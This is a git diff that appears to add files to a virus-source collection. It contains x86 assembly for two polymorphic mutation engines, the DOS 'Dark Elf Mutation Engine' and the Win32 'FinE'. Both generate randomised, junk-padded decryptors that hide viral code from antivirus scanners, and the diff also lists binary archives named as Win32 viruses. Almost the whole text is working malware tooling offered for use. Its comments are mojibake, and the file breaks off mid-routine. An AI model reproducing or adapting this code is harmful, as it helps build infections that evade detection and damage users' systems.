+ mov [DEME_CodeLen],bx + mov [DEME_Origin],dx + mov [DEME_BuffOffs],di + call Randomize + call DEME_ChooseRegs + call DEME_GenProlog + call DEME_GenCrypt + call DEME_GenEpilog + pop ds si + call DEME_Encode + mov cx,di + pop di bx + sub cx,di + popf + ret +endp DEME + +R_AX=00000000b +R_CX=00000001b +R_DX=00000010b +R_BX=00000011b +R_SP=00000100b +R_BP=00000101b +R_SI=00000110b +R_DI=00000111b + +M_AX=00000001b +M_CX=00000010b +M_DX=00000100b +M_BX=00001000b +M_SP=00010000b +M_BP=00100000b +M_SI=01000000b +M_DI=10000000b +M_INDEX=M_BX+M_SI+M_DI +M_ALL=M_AX+M_CX+M_DX+M_BX+M_BP+M_SI+M_DI + +DEME_ID db '[DEME] Dark Elf Mutation Engine v1.1',0 +DEME_CopyLeft db 'CopyLeft (cl) MSTUdent',0 +DEME_Date db ??date,0,??time,0 + +proc DEME_Encode near + push ax bx cx dx si + mov cx,[DEME_CodeLen] + mov dx,[DEME_Key] +@@1: + lodsw + xor ax,dx + stosw + add dx,[DEME_KeyAdd] + loop @@1 + pop si dx cx bx ax + ret +endp DEME_Encode + +proc DEME_ChooseRegs near + push ax + mov [DEME_MaskUsed],M_SP + mov al,M_INDEX + call DEME_GetAnyReg + mov [DEME_RegIndex],ax + mov al,M_ALL + call DEME_GetAnyReg + mov [DEME_RegCounter],ax + mov al,M_ALL + call DEME_GetAnyReg + mov [DEME_RegKey],ax + pop ax + ret +endp DEME_ChooseRegs + + +proc DEME_GenProlog near + push ax bx cx dx + call DEME_GenRandomSeq + call DEME_GenAntiWeb + + mov bx,offset DEME_GenLoadIndex + mov cx,offset DEME_GenLoadKey + mov dx,offset DEME_GenLoadCounter + + call DEME_MixRegs + call DEME_GenRandomSeq + call bx + call DEME_GenRandomSeq + call dx + call DEME_GenRandomSeq + call cx + call DEME_GenRandomSeq + + pop dx cx bx ax + ret +endp DEME_GenProlog + + +proc DEME_GenAntiWeb + push ax bx cx + mov cl,[DEME_MaskUsed] + test cl,M_AX + je @@1 + mov al,050h + stosb + call DEME_GenRandomSeq +@@1: + or [DEME_MaskUsed],M_AX + mov ax,41e4h + stosw + call DEME_GenRandomSeq + mov ax,1100010010001000b + stosw + call DEME_GenRandomSeq + mov ax,41e4h + stosw + call DEME_GenRandomSeq + mov ax,1100010000110000b + stosw + mov al,01110101b + stosw + mov bx,di + call DEME_GenRandomSeq + mov ax,4cb4h + stosw + mov ax,21cdh + stosw + call DEME_GenRandomSeq + mov ax,di + sub ax,bx + mov [es:bx-1],al + + test cl,M_AX + je @@2 + mov al,058h + stosb + call DEME_GenRandomSeq +@@2: + mov [DEME_MaskUsed],cl + pop cx bx ax + ret +endp DEME_GenAntiWeb + + +proc DEME_GenLoadIndex near + push ax + mov ax,[DEME_RegIndex] + or al,10111000b + stosb + mov [DEME_AddrBeg],di + stosw + pop ax + ret +endp DEME_GenLoadIndex + +proc DEME_GenLoadKey near + push ax bx + call RND + mov bx,ax + mov [DEME_Key],ax + mov ax,[DEME_RegKey] + call DEME_GenLoadReg16 + pop bx ax + ret +endp DEME_GenLoadKey + +proc DEME_GenLoadCounter near + push ax bx + mov ax,[DEME_RegCounter] + mov bx,[DEME_CodeLen] + call DEME_GenLoadReg16 + pop bx ax + ret +endp DEME_GenLoadCounter + +proc DEME_GenCrypt near + push ax bx cx dx + mov [DEME_LoopAddr],di + + call DEME_GenRandomSeq + call DEME_GenXorCmd + + mov dx,offset DEME_GenIncIndex + mov bx,offset DEME_GenAddKey + mov cx,offset DEME_GenDecCounter + call DEME_MixRegs + call DEME_GenRandomSeq + call bx + call DEME_GenRandomSeq + call dx + call DEME_GenRandomSeq + call cx + call DEME_GenRandomSeq + call DEME_GenCloseCycle + call DEME_GenRandomSeq + pop dx cx bx ax + ret +endp DEME_GenCrypt + +proc DEME_GenXorCmd near + push ax bx + mov al,2eh + stosb + mov al,00110001b + stosb + mov bx,[DEME_RegIndex] + cmp bx,R_BX + jne @@1 + mov al,00000111b +@@1: + cmp bx,R_SI + jne @@2 + mov al,00000100b +@@2: + cmp bx,R_DI + jne @@3 + mov al,00000101b +@@3: + mov bx,[DEME_RegKey] + shl bl,3 + or al,bl + stosb + pop bx ax + ret +endp DEME_GenXorCmd + +proc DEME_GenIncIndex near + push ax bx + mov bx,[DEME_RegIndex] + call RND + and ax,3 + or al,al + jne @@1 + mov al,01000000b + or al,bl + stosb + stosb + jmp @@Exit +@@1: + dec al + jne @@2 + mov al,10000001b + stosb + mov al,11000000b + or al,bl + stosb + mov ax,2 + stosw + jmp @@Exit +@@2: + dec al + jne @@3 + mov al,10000001b + stosb + mov al,11101000b + or al,bl + stosb + mov ax,-2 + stosw + jmp @@Exit +@@3: + call DEME_GetUnusedReg + mov bx,2 + call DEME_GenLoadReg16 + mov bx,[DEME_RegIndex] + mov bh,al + shl bh,3 + mov al,00000001b + stosb + mov al,11000000b + or al,bl + or al,bh + stosb +@@Exit: + pop bx ax + ret +endp DEME_GenIncIndex + +proc DEME_GenAddKey near + push ax bx + mov bx,[DEME_RegKey] + call RND + mov [DEME_KeyAdd],ax + push ax + call RND + xor ah,ah + test al,00000100b + je @@1 + neg [DEME_KeyAdd] + mov ah,00101000b +@@1: + mov al,10000001b + stosb + mov al,11000000b + xor al,ah + or al,bl + stosb + pop ax + stosw +@@Exit: + pop bx ax + ret +endp DEME_GenAddKey + +proc DEME_GenDecCounter near + push ax bx + mov bx,[DEME_RegCounter] + call RND + and ax,3 + or al,al + jne @@1 + mov al,01001000b + or al,bl + stosb + jmp @@Exit +@@1: + dec al + jne @@2 + mov al,10000001b + stosb + mov al,11000000b + or al,bl + stosb + mov ax,-1 + stosw + jmp @@Exit +@@2: + dec al + jne @@3 + mov al,10000001b + stosb + mov al,11101000b + or al,bl + stosb + mov ax,1 + stosw + jmp @@Exit +@@3: + call DEME_GetUnusedReg + mov bx,1 + call DEME_GenLoadReg16 + mov bx,[DEME_RegCounter] + mov bh,al + shl bh,3 + mov al,00101001b + stosb + mov al,11000000b + or al,bl + or al,bh + stosb +@@Exit: + pop bx ax + ret +endp DEME_GenDecCounter + +proc DEME_GenCloseCycle near + push ax bx cx dx + call RND + and ax,3 + shl ax,1 + mov bx,ax + call [DEME_Clos1Tbl+bx] + call RND + test al,1 + je @@1 + mov al,10011100b + stosb + call DEME_GenRandomSeq + mov al,10011101b + stosb +@@1: + call [DEME_Clos2Tbl+bx] + call DEME_GenRandomSeq + call DEME_ClosJmp + call DEME_GenRandomSeq + call DEME_ClosJmpShort + call DEME_GenRandomSeq + pop dx cx bx ax + ret +endp DEME_GenCloseCycle + +DEME_Clos1Tbl dw offset DEME_Clos11 + dw offset DEME_Clos12 + dw offset DEME_Clos13 + dw offset DEME_Clos14 + +DEME_Clos2Tbl dw offset DEME_Clos21 + dw offset DEME_Clos22 + dw offset DEME_Clos21 + dw offset DEME_Clos21 + +proc DEME_Clos11 near + push ax bx + mov al,10000001b + stosb + mov ax,[DEME_RegCounter] + or al,11111000b + stosb + xor ax,ax + stosw + pop bx ax + ret +endp DEME_Clos11 + +proc DEME_Clos12 near + push ax bx + mov al,10000001b + stosb + mov ax,[DEME_RegCounter] + or al,11111000b + stosb + xor ax,ax + inc ax + stosw + pop bx ax + ret +endp DEME_Clos12 + +proc DEME_Clos13 near + push ax bx + mov al,00001001b + stosb + mov ax,[DEME_RegCounter] + mov ah,11000000b + or ah,al + shl al,3 + or al,ah + stosb + pop bx ax + ret +endp DEME_Clos13 + +proc DEME_Clos14 near + push ax bx + mov al,11110111b + stosb + mov ax,[DEME_RegCounter] + or al,11000000b + stosb + xor ax,ax + dec ax + stosw + pop bx ax + ret +endp DEME_Clos14 + +proc DEME_Clos21 near + push ax + mov al,01110100b + stosb + mov [DEME_JmpShort],di + stosb + pop ax + ret +endp DEME_Clos21 + +proc DEME_Clos22 near + push ax + mov al,01110010b + stosb + mov [DEME_JmpShort],di + stosb + pop ax + ret +endp DEME_Clos22 + +proc DEME_ClosJmp near + push ax + mov al,11101001b + stosb + mov ax,[DEME_LoopAddr] + sub ax,di + dec ax + dec ax + stosw + pop ax + ret +endp DEME_ClosJmp + +proc DEME_ClosJmpShort near + push ax bx + mov ax,di + mov bx,[DEME_JmpShort] + sub ax,bx + dec ax + mov [es:bx],al + pop bx ax + ret +endp DEME_ClosJmpShort + +proc DEME_GenEpilog near + push ax bx dx + call RND + and ax,3fh + inc ax +@@1: + call DEME_GenTrash + dec ax + jnz @@1 + mov bx,[DEME_AddrBeg] + mov dx,di + sub dx,[DEME_BuffOffs] + add dx,[DEME_Origin] + mov [es:bx],dx + pop dx bx ax + ret +endp DEME_GenEpilog + + +proc DEME_MixRegs near + push ax + call RND + test al,1 + je @@1 + xchg bx,cx +@@1: + test al,2 + je @@2 + xchg cx,dx +@@2: + test al,4 + je @@3 + xchg bx,dx +@@3: + pop ax + ret +endp DEME_MixRegs + + +proc Randomize near + push ax + in ax,40h + mov [seed1],ax + pop ax + ret +endp Randomize + +proc RND near + push dx + mov ax,[seed] + xor ax,[seed1] + mul ax + mov al,dl + mov [seed],ax + pop dx + ret +endp RND + + +; + +proc DEME_GenRandomSeq near +; + push ax + call RND + and ax,0fh + inc ax +@@1: + call DEME_GenTrash + dec ax + jnz @@1 + pop ax + ret +endp DEME_GenRandomSeq + +proc DEME_GenTrash near +; '' + push ax bx + call RND + and ax,3 + shl ax,1 + mov bx,ax + call [DEME_TrashTbl+bx] + pop bx ax + ret +endp DEME_GenTrash + +DEME_TrashTbl dw offset DEME_GenCmd1 + dw offset DEME_GenCmd2 + dw offset DEME_GenCmd3 + dw offset DEME_GenCmd4 + +proc DEME_GenCmd1 near +; 1-⮢ AX +ret + push ax bx + test [DEME_MaskUsed],M_AX + jne @@Exit + call RND + and ax,7 + mov bx,ax + mov al,[DEME_Cmds1+bx] + stosb +@@Exit: + pop bx ax + ret +endp DEME_GenCmd1 + +DEME_Cmds1 db 00110111b ;aaa + db 00111111b ;aas + db 10011000b ;cbw + db 00100111b ;daa + db 00101111b ;das + db 01001000b ;dec ax + db 01000000b ;inc ax + db 10011111b ;lahf + + +proc DEME_GenCmd2 near +; 1-࠭ + push ax bx + call RND + and ax,0fh + mov bx,ax + shl bx,1 + mov al,[DEME_Cmds2+bx] + stosb + mov bl,[DEME_Cmds2+bx+1] + call DEME_GetUnusedReg + or al,bl + stosb + pop bx ax + ret +endp DEME_GenCmd2 + +DEME_Cmds2 db 0d1h,11000000b ;rol + db 0d1h,11001000b ;ror + db 0d1h,11010000b ;rcl + db 0d1h,11011000b ;rcr + db 0d1h,11100000b ;shl + db 0d1h,11101000b ;shr + db 0ffh,11000000b ;inc + db 0ffh,11001000b ;dec + db 0f7h,11010000b ;not + db 0f7h,11011000b ;neg + db 0d3h,11000000b ;rol cl + db 0d3h,11001000b ;ror cl + db 0d3h,11010000b ;rcl cl + db 0d3h,11011000b ;rcr cl + db 0d3h,11100000b ;shl cl + db 0d3h,11101000b ;shr cl + +proc DEME_GenCmd3 near +; 2- ࠭ ।⢥ 祭 + push ax bx + mov al,[DEME_MaskUsed] + push ax + or [DEME_MaskUsed],M_AX ; AX 㣨 + call RND + xor ah,ah + mov bl,9 + div bl + mov bl,ah + xor bh,bh + shl bx,1 + mov al,[DEME_Cmds3+bx] + stosb + mov bl,[DEME_Cmds3+bx+1] + call DEME_GetUnusedReg + or al,bl + stosb + call RND + stosw + pop ax + mov [DEME_MaskUsed],al + pop bx ax + ret +endp DEME_GenCmd3 + +DEME_Cmds3 db 081h,11000000b ;add + db 081h,11010000b ;adc + db 081h,11101000b ;sub + db 081h,11110000b ;xor + db 0f7h,11000000b ;test + db 081h,11011000b ;sbb + db 081h,11001000b ;or + db 081h,11111000b ;cmp + db 081h,11100000b ;and +; db 0c7h,11000000b ;mov + + +proc DEME_GenCmd4 near +; 2- ࠭ + push ax bx cx dx + + call RND + xor ah,ah + mov bl,10 + div bl + mov bl,ah + xor bh,bh + mov al,[DEME_Cmds4+bx] + stosb + + call DEME_GetUnusedReg + shl al,3 + mov dl,al + call RND + and al,00000111b + or al,11000000b + or al,dl + stosb + + pop dx cx bx ax + ret +endp DEME_GenCmd4 + +DEME_Cmds4 db 003h ;add + db 013h ;adc + db 02bh ;sub + db 033h ;xor + db 085h ;test + db 01bh ;sbb + db 00bh ;or + db 03bh ;cmp + db 023h ;and + db 08bh ;mov + + +proc DEME_GetUnusedReg near +;頥 ᯮ㥬 ॣ ( ) + push bx + mov bl,[DEME_MaskUsed] + mov al,M_ALL + call DEME_GetAnyReg + mov [DEME_MaskUsed],bl + pop bx + ret +endp DEME_GetUnusedReg + + +proc DEME_GetAnyReg near +;頥 ᯮ㥬 ॣ । 㯯 + push bx cx + mov bl,al + not bl + or bl,[DEME_MaskUsed] + + call RND + and ax,7 + mov cl,al + mov ah,1 + rol ah,cl +@@11: + test ah,bl + je @@12 + inc al + and al,7 + rol ah,1 + jmp @@11 +@@12: + or [DEME_MaskUsed],ah + and ax,7 + pop cx bx + ret +endp DEME_GetAnyReg + + +proc DEME_GenLoadReg16 near +; 㧪 ॣ +;ax - +;bx - 祬 + push ax bx + and al,00000111b + or al,10111000b + stosb + mov ax,bx + stosw + pop bx ax + ret +endp DEME_GenLoadReg16 + +Seed dw 0 +Seed1 dw 0 +DEME_MaskUsed db 0 + +DEME_RegIndex dw 0 +DEME_RegCounter dw 0 +DEME_RegKey dw 0 + +DEME_Origin dw 0 +DEME_BuffOffs dw 0 + +DEME_LoopAddr dw 0 +DEME_JmpShort dw 0 +DEME_CodeLen dw 0 +DEME_Key dw 0 +DEME_KeyAdd dw 0 +DEME_AddrBeg dw 0 + +POPSTATE + + + + diff --git a/Engines/Virus.Win32.Dina.7z b/Engines/Virus.Win32.Dina.7z new file mode 100644 index 00000000..0a29f6f3 Binary files /dev/null and b/Engines/Virus.Win32.Dina.7z differ diff --git a/Engines/Virus.Win32.Dizzy.7z b/Engines/Virus.Win32.Dizzy.7z new file mode 100644 index 00000000..c01bb0cb Binary files /dev/null and b/Engines/Virus.Win32.Dizzy.7z differ diff --git a/Engines/Virus.Win32.Dme.7z b/Engines/Virus.Win32.Dme.7z new file mode 100644 index 00000000..656ddd61 Binary files /dev/null and b/Engines/Virus.Win32.Dme.7z differ diff --git a/Engines/Virus.Win32.Expo.7z b/Engines/Virus.Win32.Expo.7z new file mode 100644 index 00000000..c9dd5c6a Binary files /dev/null and b/Engines/Virus.Win32.Expo.7z differ diff --git a/Engines/Virus.Win32.Flying.asm b/Engines/Virus.Win32.Flying.asm new file mode 100644 index 00000000..2b677849 --- /dev/null +++ b/Engines/Virus.Win32.Flying.asm @@ -0,0 +1,1107 @@ +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; ; +; xxxxxxxxxxx xxxxxxxxxxx ; +; xxxxxxxxxxx xxxxxxxxxxx ; +; xxxx xxxx xxxxxxxxxx xxxx ; +; xxxx xxxx xxxxxxxxxxx xxxx ; +; xxxxxxxx xxxx xxxx xxxxxxxx ; +; xxxxxxxx xxxx xxxx xxxx xxxxxxxx ; +; xxxx xxxx xxxx xxxx xxxx ; +; xxxx xxxx xxxx xxxx xxxx ; +; xxxx xxxx xxxx xxxx xxxxxxxxxxx ; +; xxxx xxxx xxxx xxxx xxxxxxxxxxx ; +; ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; Flying mutatIoN Engine ; +; FinE ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; :)! ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; FINE ; +; ; +; ; +; ; +;: ; +;1 ( ) - (MORPHGEN) ( ) ; +;--------------------------------------------------------------------------------------------------------; +;: ; +;EAX - ; +;ECX - ; +;+ . ( ) ; +;--------------------------------------------------------------------------------------------------------; +;: ; +;, , , .. ; +; (, , ). ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; ! ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; ; +; MORPHGEN ; +; (0 - , 1 - ) ; +; ; +; ; +;MORPHGEN struct ; +; rgen_addr dd ? ; () (0) ; +; tgen_addr dd ? ; (0) ; +; cryptcode_addr dd ? ; , (0) ; +; size_cryptcode dd ? ; , (0) ; +; pa_buf_for_morph dd ? ;. , (0) ; +; va_buf_for_morph dd ? ;. , (0) ; +; buf_with_morph dd ? ;. , (1) ; +; size_morph dd ? ; (1) ; +; mapped_addr dd ? ; ( ( )) (0) ; +; reserv1 dd ? ; (0) ; +;MORPHGEN ends ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; ; +; TGEN ; +; (aka TRASHGEN) ; +; ( xTG) ; +; ; +; ; +;TRASHGEN struct ; +; rgen_addr dd ? ; () ; +; buf_for_trash dd ? ; (), (, ) ; +; size_trash dd ? ; ( ), ; +; regs dd ? ; (2 ) ; +; xmask1 dd ? ;64- ; +; xmask2 dd ? ; ( ) ; +; beg_addr dd ? ; ; +; end_addr dd ? ; ; +; mapped_addr dd ? ; ( ( )) ; +; reserv1 dd ? ; (, - ) ; +;TRASHGEN ends ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; ! ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; MORPHGEN: ; +; ; +; ; +;[ rgen_addr ] : ; +; (FINE) - , ; +; ( ) , ; +; () . ; +; : FINE ( , ; +; ), , 1- ; +; ( !) ( N), ; +; [0..n-1]. EAX . ; +; . . ; +;--------------------------------------------------------------------------------------------------------; +;[ tgen_addr ] : ; +; , . ; +; , xTG ( ; +; -). ; +;--------------------------------------------------------------------------------------------------------; +;[ cryptcode_addr ] ; +; & ; +;[ size_cryptcode ]: ; +; , . ; +;--------------------------------------------------------------------------------------------------------; +;[pa_buf_for_morph] : ; +; . ; +; VirtualAlloc etc ( ). ; +; , : ; +; 0x3000 + , ( ). ; +; , : ; +; 1) , .. ; +; (- ( )); ; +; 2) , ? : , ; +; ( , ) ; +; + ; +; ( 30 (max - , , ) * ; +; ) ; +; + ; +; ( 15 ( ) *30 ) ; +; + ; +; ; +; , : , . ; +; : , . ; +; : , , 3 c 100 , ; +; 0x5000 + , . ; +; , , . ; +;--------------------------------------------------------------------------------------------------------; +;[va_buf_for_morph] : ; +; 0. call ; +; . ; +;--------------------------------------------------------------------------------------------------------; +;[ buf_with_morph ]: ; +; , ; +; . . ; +;--------------------------------------------------------------------------------------------------------; +;[ size_morph ] : ; +; ( ). . ; +;--------------------------------------------------------------------------------------------------------; +;[ mapped_addr ] : ; +; ( ). ; +; 0 . , , ; +; . . ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; y0p! ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; ; +; ; +; ; +;(+) ; +;--------------------------------------------------------------------------------------------------------; +;(+) ; +;--------------------------------------------------------------------------------------------------------; +;(+) ; +;--------------------------------------------------------------------------------------------------------; +;(+) ; +;--------------------------------------------------------------------------------------------------------; +;(+) ( jmp') ; +;--------------------------------------------------------------------------------------------------------; +;(+) ( , ) ; +;--------------------------------------------------------------------------------------------------------; +;(+) (ADD/SUB/XOR) ; +;--------------------------------------------------------------------------------------------------------; +;(+) ( ) ; +;--------------------------------------------------------------------------------------------------------; +;(+) ; +;--------------------------------------------------------------------------------------------------------; +;(+) ( & trashgen - ;) ; +; * ; ; +;--------------------------------------------------------------------------------------------------------; +;(+) WinAPI ; +;--------------------------------------------------------------------------------------------------------; +;(+) -, . ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; y0p! ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; : ; +; ; +; ; +;1) : ; +; FinE.asm ; +;2) ( stdcall): ; +; ... ; +; szBuf db 100 dup (00h) ; +; szBuf2 db 5000h dup (00h) ;! ! ; +; ... ; +; lea ecx,szBuf ; +; lea edx,szBuf2 ; +; assume ecx:ptr MORPHGEN ; +; mov [ecx].rgen_addr,00401000h ; ; +; mov [ecx].tgen_addr,00401300h ; ; +; mov [ecx].cryptcode_addr,00402000h ; , ; +; mov [ecx].size_cryptcode,100 ; ; +; mov [ecx].pa_buf_for_morph,edx ; ; +; mov [ecx].va_buf_for_morph,0 ; , 0. ; +; ;[ecx].buf_with_morph - ; +; ;[ecx].size_morph - ; +; ; . ; +; call FINE ; ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +; ; +; : ; +; ; +; ; +; call imm32 ; ; +; pop reg1 ; reg1 ; +; push imm32 ; , ; +; add reg1,imm32 ; reg1 , ; +; mov reg2,imm32 ; reg2 ; +; --> xor/add/sub [reg1],reg2 ; ; +; | xor/add/sub reg2,imm32 ; ; +; | dec reg1 ; 1 reg1 ; +; | dec [esp] ; 1 ; +; ----jne imm32 ; ; +; pop reg ; ; +; ; +;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +;v1.0.1 +; , . + + + + + ;m1x + ;pr0mix@mail.ru + ;EOF + + + + + +;======================================================================================================== + +;======================================================================================================== +; MORPHGEN, +;======================================================================================================== +MORPHGEN struct + rgen_addr dd ? + tgen_addr dd ? + cryptcode_addr dd ? + size_cryptcode dd ? + pa_buf_for_morph dd ? + va_buf_for_morph dd ? + buf_with_morph dd ? + size_morph dd ? + mapped_addr dd ? + reserv1 dd ? +MORPHGEN ends + +;======================================================================================================== +; TGEN, (aka TRASHGEN, xTG) +;======================================================================================================== +TGEN struct + rgen_addr dd ? + buf_for_trash dd ? + size_trash dd ? + regs dd ? + xmask1 dd ? + xmask2 dd ? + beg_addr dd ? + end_addr dd ? + mapped_addr dd ? + reserv1 dd ? +TGEN ends +;======================================================================================================== + +num_decrypts equ 3 ; +mtrash1 equ 0FFFFFFFFh ; ( ) - +mtrash2 equ 000h ; + +num_general_instr equ 11 ; ( , ) +size_general_instr equ 15 ; ( , 10 etc) +num_steps equ 30 ; ( ) +portion equ 100 ; +max_portion equ portion*num_general_instr+size_general_instr*num_general_instr ; ) - , , ( ) +min_portion equ 50 ; + +addr1 equ 000h ; ( ) +addr2 equ 000h + +;======================================================================================================== + + + + + + + + +FINE: + pushad ;save all regs + cld + mov edx,dword ptr [esp+24h] ; edx - c MORPHGEN + assume edx:ptr MORPHGEN + mov ecx,[edx].size_cryptcode ;ecx - , + mov esi,[edx].cryptcode_addr ;esi - + mov edi,[edx].pa_buf_for_morph ;edi - ( ), + xor eax,eax ; ( ) TGEN (aka TRASHGEN) + push eax ;reserv1 + push [edx].mapped_addr ;mapped_addr + push addr2 ;end_addr + push addr1 ;beg_addr ( xTG) + push mtrash2 ;64- + push mtrash1 + push eax;regs ; ( , , ) + push eax;portion ; , + push eax;buf_for_trash ;, + push [edx].rgen_addr ; + mov ebp,esp ; ebp + assume ebp:ptr TGEN ;[ebp+-00] + mov eax,num_decrypts ; +_next_decrypt_: + push eax ;[ebp-04] + call morph ;[ebp-08] ; + mov esi,edi ;esi + add edi,ecx ;edi + + pop eax + dec eax ; + jnz _next_decrypt_ ; ? + add esp,10*4 ; , + sub edi,ecx ; edi + mov [edx].buf_with_morph,edi ; + mov [edx].size_morph,ecx ; + + mov dword ptr [esp+1Ch],edi ;EAX=EDI + mov dword ptr [esp+18h],ecx ;ECX=ECX + popad ; + ret 4 ; +;======================================================================================================== +morph: + call gen_reg ; () (2 ) + push edi ;[ebp-12] edi + push portion ; 1- + call [edx].rgen_addr + add eax,41 ; + call gen_trash +;-------------------------------------------------------------------------------------------------------- + push edi ;[ebp-16] ; ( ) + push edi ;[ebp-20] ; call $+5 ( reg1) + call instr___call ;CALL $+value + + call instr___pop__reg ;POP reg1 + + call instr___push__imm ;PUSH + + push edi ;[ebp-24] ; ( ), + call instr___add__reg_imm ;ADD reg1, + + push edi ;[ebp-28] ; , 1, () + call instr___mov__reg_imm ;MOV reg2,key1 + + push edi ;[ebp-32] ; , + push edi ;[ebp-36] ; - + call instr___addxorsub__addrreg_reg ;ADD/XOR/SUB dword ptr [reg1],reg2 + + push edi ;[ebp-40] ; 2, 1 + push edi ;[ebp-44] ; 2- - 2- 1- + call instr___addxorsub__reg_imm ;ADD/XOR/SUB reg2,key2 + + call instr___dec__reg ;DEC reg1 + + call instr___dec__addresp ;DEC dword ptr [esp], JNE + + call instr___pop__reg ;POP reg +;-------------------------------------------------------------------------------------------------------- + push portion + call [edx].rgen_addr ; , ( ) + push eax + add eax,ecx ; , + call goto_free_addr ; () , + + add eax,(max_portion+portion+portion+min_portion) ; ( ) + add dword ptr [ebp-16],eax ; ( , etc) + pop eax + call gen_trash ; +;-------------------------------------------------------------------------------------------------------- + push -1 + call [edx].rgen_addr + xchg eax,ebx ; ebx 1 + push -1 + call [edx].rgen_addr + push eax ;[ebp-48] ; 2 +;-------------------------------------------------------------------------------------------------------- + mov eax,dword ptr [esi] ; + add esi,4 +_crypt_: + ;mov eax,dword ptr [esi] + cmp dword ptr [ebp-36],1 ;optimization! ;, , + jl _xor03_ + jg _add03_ +_sub03_: + sub eax,ebx + jmp _chg_key1_ + +_add03_: + add eax,ebx + jmp _chg_key1_ + +_xor03_: + xor eax,ebx + +_chg_key1_: + cmp ecx,1 ;optimization! ;, ? , 1 2 + je _write_crypt_data_ + cmp dword ptr [ebp-44],1 ;optimization! ; 1 ( 2) + jl _xor04_ + jg _add04_ +_sub04_: + sub ebx,dword ptr [esp] + jmp _write_crypt_data_ + +_add04_: + add ebx,dword ptr [esp] + jmp _write_crypt_data_ + +_xor04_: + xor ebx,dword ptr [esp] + +_write_crypt_data_: + mov dword ptr [edi],eax + inc edi + lodsb + ror eax,8 ; , + ;inc esi + loop _crypt_ +;-------------------------------------------------------------------------------------------------------- + pop ecx ;key2 + + pop eax + pop eax + mov dword ptr [eax],ecx ; 2 , + + pop eax + pop eax + pop eax + mov dword ptr [eax],ebx ; , 1 + + dec edi ; edi + xchg eax,edi ; , + ( reg1 ) + pop edi + pop esi + sub eax,esi + test byte ptr [edi-1],20h;0E8h ; , : ADD SUB ? + je _addregimm_ +_subregimm_: + neg eax +_addregimm_: + stosd + + pop ecx ; , ( , edi) + pop edi ; + sub ecx,edi ; ecx + + + ret ; +;======================================================================================================== + + + + + +;=====================================[CALL $+value]===================================================== +instr___call: + push portion + call [edx].rgen_addr ; 1- , + push eax ; + push portion + call [edx].rgen_addr ; 2- + push eax ; + push portion + call [edx].rgen_addr ; 3- + push eax ; + add eax,dword ptr [esp+4] + add eax,dword ptr [esp+8] ; + call goto_free_addr ; , + ( call $+5) + pop eax ; + call gen_trash ; + mov al,0E8h ; CALL $+value + stosb + pop eax + stosd + mov dword ptr [ebp-20],edi + call gen_trash ; + pop eax + call gen_trash ;etc + + ret ; +;=====================================[CALL $+value]===================================================== + + + + + +;=======================================[POP reg1]======================================================= +instr___pop__reg: + push portion ;etc ( ) + call [edx].rgen_addr + push eax + push portion + call [edx].rgen_addr + push eax + add eax,dword ptr [esp+4] + call goto_free_addr + pop eax + call gen_trash +;-------------------------------------------------------------------------------------------------------- + push 2 ; , ? + call [edx].rgen_addr + test eax,eax + je _pop__reg1_ ;POP reg1 +;-------------------------------------------------------------------------------------------------------- +_mov__reg1_addresp___add__esp_4_: ;MOV reg1,[esp] add esp,4 ? + mov al,8Bh + stosb + mov al,bh + shl eax,3 + add al,4 + stosb + mov al,24h + stosb + pop eax + call gen_trash + push 